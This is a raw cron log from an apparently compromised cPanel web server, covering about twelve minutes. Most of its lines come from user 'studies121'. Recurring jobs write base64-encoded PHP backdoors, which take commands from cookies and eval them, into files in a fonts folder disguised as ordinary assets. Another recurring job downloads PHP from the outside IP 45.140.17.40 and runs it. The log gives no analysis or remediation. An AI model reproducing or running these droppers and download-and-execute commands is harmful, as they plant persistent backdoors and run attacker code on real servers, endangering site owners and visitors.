Sep  2 14:51:01 ip-184-168-122-23 CROND[1534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:51:01 ip-184-168-122-23 CROND[1535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:51:01 ip-184-168-122-23 CROND[1537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:51:01 ip-184-168-122-23 CROND[1538]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:52:01 ip-184-168-122-23 CROND[1636]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:52:01 ip-184-168-122-23 CROND[1637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:52:01 ip-184-168-122-23 CROND[1639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:52:01 ip-184-168-122-23 CROND[1640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:52:01 ip-184-168-122-23 CROND[1642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:53:01 ip-184-168-122-23 CROND[1723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:53:01 ip-184-168-122-23 CROND[1725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:53:01 ip-184-168-122-23 CROND[1726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:53:01 ip-184-168-122-23 CROND[1727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:54:01 ip-184-168-122-23 CROND[1925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:54:01 ip-184-168-122-23 CROND[1927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:54:01 ip-184-168-122-23 CROND[1928]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:54:01 ip-184-168-122-23 CROND[1930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:54:01 ip-184-168-122-23 CROND[1929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:55:01 ip-184-168-122-23 CROND[2035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:55:02 ip-184-168-122-23 CROND[2038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:55:02 ip-184-168-122-23 CROND[2039]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 14:55:02 ip-184-168-122-23 CROND[2040]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:55:02 ip-184-168-122-23 CROND[2041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:55:02 ip-184-168-122-23 CROND[2037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:56:01 ip-184-168-122-23 CROND[2134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:56:01 ip-184-168-122-23 CROND[2136]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:56:01 ip-184-168-122-23 CROND[2137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:56:01 ip-184-168-122-23 CROND[2138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:56:01 ip-184-168-122-23 CROND[2139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:57:02 ip-184-168-122-23 CROND[2244]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:57:02 ip-184-168-122-23 CROND[2247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:57:02 ip-184-168-122-23 CROND[2246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:57:02 ip-184-168-122-23 CROND[2248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:58:01 ip-184-168-122-23 CROND[2338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:58:01 ip-184-168-122-23 CROND[2339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:58:01 ip-184-168-122-23 CROND[2340]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:58:01 ip-184-168-122-23 CROND[2342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:58:01 ip-184-168-122-23 CROND[2343]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:59:01 ip-184-168-122-23 CROND[2443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:59:01 ip-184-168-122-23 CROND[2447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:59:01 ip-184-168-122-23 CROND[2445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:59:01 ip-184-168-122-23 CROND[2446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:00:01 ip-184-168-122-23 CROND[2621]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 15:00:01 ip-184-168-122-23 CROND[2622]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 15:00:01 ip-184-168-122-23 CROND[2625]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:00:01 ip-184-168-122-23 CROND[2626]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:00:01 ip-184-168-122-23 CROND[2630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:00:01 ip-184-168-122-23 CROND[2628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:00:01 ip-184-168-122-23 CROND[2629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:00:01 ip-184-168-122-23 CROND[2631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:01:01 ip-184-168-122-23 CROND[2725]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 15:01:01 ip-184-168-122-23 CROND[2726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2725]: starting 0anacron
Sep  2 15:01:01 ip-184-168-122-23 CROND[2730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:01:01 ip-184-168-122-23 CROND[2736]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:01:01 ip-184-168-122-23 CROND[2735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:01:01 ip-184-168-122-23 CROND[2737]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2745]: finished 0anacron
Sep  2 15:02:02 ip-184-168-122-23 CROND[2826]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:02:02 ip-184-168-122-23 CROND[2829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:02:02 ip-184-168-122-23 CROND[2831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:02:02 ip-184-168-122-23 CROND[2828]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:02:02 ip-184-168-122-23 CROND[2830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:03:01 ip-184-168-122-23 CROND[2915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
